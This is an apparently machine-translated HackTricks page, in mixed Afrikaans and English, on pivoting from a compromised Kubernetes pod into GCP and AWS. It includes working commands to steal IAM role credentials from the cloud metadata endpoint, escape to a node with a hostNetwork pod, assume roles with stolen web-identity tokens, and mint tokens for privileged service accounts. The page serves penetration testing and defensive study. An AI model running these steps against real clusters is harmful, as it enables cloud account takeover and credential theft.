15 KiB
Kubernetes Pivoting to Clouds
{{#include ../../banners/hacktricks-training.md}}
GCP
As jy 'n k8s cluster binne GCP bestuur, wil jy waarskynlik hê dat 'n toepassing wat binne die cluster loop, toegang tot GCP het. Daar is 2 algemene maniere om dit te doen:
Mounting GCP-SA keys as secret
'n Algemene manier om toegang aan 'n kubernetes toepassing tot GCP te gee is om:
- Skep 'n GCP Service Account
- Ken die verlangde toestemmings daaraan toe
- Laai 'n json key van die geskepte SA af
- Monteer dit as 'n secret binne die pod
- Stel die GOOGLE_APPLICATION_CREDENTIALS environment variable wat na die pad wys waar die json is.
Warning
Daarom, as 'n attacker, as jy 'n container binne 'n pod kompromitteer, moet jy kyk vir daardie env variable en json files met GCP credentials.
Relating GSA json to KSA secret
Een manier om toegang aan 'n GSA tot 'n GKE cluser te gee, is deur hulle op hierdie wyse te bind:
- Skep 'n Kubernetes service account in dieselfde namespace as jou GKE cluster met behulp van die volgende opdrag:
kubectl create serviceaccount <service-account-name>
- Skep 'n Kubernetes Secret wat die inlogbesonderhede van die GCP service account bevat wat jy toegang tot die GKE cluster wil gee. Jy kan dit doen met die
gcloudopdragreëlhulpmiddel, soos in die volgende voorbeeld:
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
- Bind die Kubernetes Secret aan die Kubernetes service account met die volgende kommando:
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
Warning
In die tweede stap is die credentials of the GSA as secret of the KSA gestel. As jy daardie secret van binne die GKE cluster kan lees, kan jy na daardie GCP service account eskaleer.
GKE Workload Identity
Met Workload Identity kan ons configureer a Kubernetes service account om op te tree as a Google service account. Pods wat met die Kubernetes service account loop sal outomaties as die Google service account autentikeer wanneer hulle Google Cloud APIs benader.
Die eerste reeks stappe om hierdie gedrag moontlik te maak is om Workload Identity in GCP te aktiveer (steps) en die GCP SA te skep wat jy wil hê k8s moet naboots.
- Enable Workload Identity op 'n nuwe cluster
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
- Skep/Opdateer 'n nuwe nodepool (Autopilot clusters benodig dit nie)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
- Skep die GCP Service Account to impersonate vanaf K8s met GCP-regte:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
- Verbind met die cluster en skep die service account om te gebruik
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
- Koppel die GSA aan die KSA
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
- Begin 'n pod met die KSA en kontroleer die toegang tot GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
Kontroleer die volgende opdrag om te verifieer indien nodig:
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
Warning
As 'n attacker binne K8s moet jy search for SAs met die
iam.gke.io/gcp-service-accountannotation` aangesien dit aandui dat die SA toegang tot iets in GCP kan hê. 'n Ander opsie is om elke KSA in die cluster te probeer abuse en te kontroleer of dit toegang het.
Vanaf GCP is dit altyd interessant om die bindings te enumerate en te weet watter toegang jy aan SAs binne Kubernetes gee.
Dit is 'n skrip om maklik over the all the pods definisies looking for daardie annotation:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
AWS
Kiam & Kube2IAM (IAM role for Pods)
Een (verouderde) manier om IAM Roles aan Pods te gee is om 'n Kiam of 'n Kube2IAM server. Basies sal jy 'n daemonset in jou cluster moet laat loop met 'n soort privileged IAM role. Hierdie daemonset sal die een wees wat toegang tot IAM roles aan die pods gee wat dit benodig.
Eerstens moet jy konfigureer watter rolle binne die namespace toeganklik is, en dit doen jy met 'n annotation binne die namespace object:
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
Sodra die namespace gekonfigureer is met die IAM roles wat die Pods kan hê, kan jy aanwys watter role jy op elke pod definition wil hê met iets soos:
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
Warning
As 'n aanvaller, as jy vind hierdie aantekeninge in pods of namespaces of 'n kiam/kube2iam server wat draai (waarskynlik in kube-system) kan jy naboots elke rol wat reeds deur pods gebruik word en meer (as jy toegang tot die AWS-rekening het, som die rolle op).
Skep Pod met IAM Role
Note
Die IAM role wat aangedui word, moet in dieselfde AWS-rekening wees as die kiam/kube2iam role en daardie role moet toegang daartoe hê.
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
IAM-rol vir K8s Service Accounts deur OIDC
Dit is die aanbevole manier deur AWS.
- Eerstens moet jy create an OIDC provider for the cluster.
- Skep dan 'n IAM-rol met die toestemmings wat die SA nodig sal hê.
- Skep 'n trust relationship between the IAM role and the SA name (of die namespaces wat toegang tot die rol gee aan al die SAs in die namespace). Die trust relationship sal hoofsaaklik die OIDC provider name, die namespace name en die SA name nagaan.
- Laastens, skep 'n SA met 'n aantekening wat die ARN van die rol aandui, en die pods wat met daardie SA loop sal toegang tot die token van die rol hê. Die token word geskryf binne 'n lêer en die pad word gespesifiseer in
AWS_WEB_IDENTITY_TOKEN_FILE(default:/var/run/secrets/eks.amazonaws.com/serviceaccount/token)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
Om aws met die token te kry vanaf /var/run/secrets/eks.amazonaws.com/serviceaccount/token voer uit:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
Warning
As an attacker, if you can enumerate a K8s cluster, check for service accounts with that annotation to escalate to AWS. To do so, just exec/create a pod using one of the IAM privileged service accounts and steal the token.
Moreover, if you are inside a pod, check for env variables like AWS_ROLE_ARN and AWS_WEB_IDENTITY_TOKEN.
Caution
Soms kan die Turst Policy of a role bad configured wees en in plaas daarvan om AssumeRole toegang te gee aan die verwagte service account, gee dit dit aan all the service accounts. Daarom, as jy in staat is om 'n annotasie op 'n controlled service account te skryf, kan jy toegang tot die role kry.
Kyk na die volgende bladsy vir meer inligting:
{{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}}
Vind Pods en SAs met IAM Roles in die Cluster
Dit is 'n script om maklik oor al die pods en SAs definisies te iterate wat na daardie annotation soek:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
Node IAM-rol na cluster-admin
Die vorige afdeling het gegaan oor hoe om IAM Roles met pods te steel, maar let daarop dat 'n Node of the K8s-kluster 'n instansie inside the cloud gaan wees. Dit beteken dat die Node hoogs waarskynlik 'n IAM role you can steal gaan hê (let wel dat gewoonlik al die nodes van 'n K8s-kluster dieselfde IAM-rol het, so dit mag nie die moeite werd wees om elke node te probeer kontroleer nie).
Om toegang tot die node metadata endpoint te kry, moet jy:
- Wees in 'n pod en hê die metadata endpoint gekonfigureer vir minstens 2 tcp hops. Dit is die mees algemene miskonfigurasie aangesien gewoonlik verskillende pods in die cluster toegang tot die metadata endpoint benodig om nie te breek nie, en verskeie maatskappye besluit net om toegang tot die metadata endpoint vanaf alle pods in die cluster toe te laat.
- Wees in 'n pod met
hostNetworkenabled. - Ontsnap na die node en kry direkte toegang tot die metadata endpoint.
(Let wel dat die metadata endpoint soos altyd by 169.254.169.254 is).
Om na die node te ontsnap kan jy die volgende opdrag gebruik om 'n pod met hostNetwork enabled te laat loop:
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
Steal IAM Role Token
Voorheen het ons bespreek hoe om attach IAM Roles to Pods of selfs hoe om escape to the Node to steal the IAM Role wat aan die instansie gekoppel is.
Jy kan die volgende skrip gebruik om jou nuwe, met moeite vergaarde IAM role credentials te steal:
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
Privesc to cluster-admin
Opsomming: as dit moontlik is om toegang tot die EKS Node IAM role vanaf 'n pod te kry, is dit moontlik om kompromitteer die volledige kubernetes cluster.
Vir meer inligting, kyk na this post. Opsommend, die standaard IAM EKS role wat aan die EKS nodes toegeken word, het binne die cluster die rol system:node. Hierdie rol is baie interessant, alhoewel dit beperk word deur die kubernetes Node Restrictions.
Nietemin, die node kan altyd genereer tokens vir service accounts wat in pods binne die node loop. Dus, as die node 'n pod met 'n privileged service account laat loop, kan die node 'n token vir daardie service account genereer en dit gebruik om daardie service account na te boots soos in:
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
Verwysings
- https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
- https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
- https://blogs.halodoc.io/iam-roles-for-service-accounts-2/
{{#include ../../banners/hacktricks-training.md}}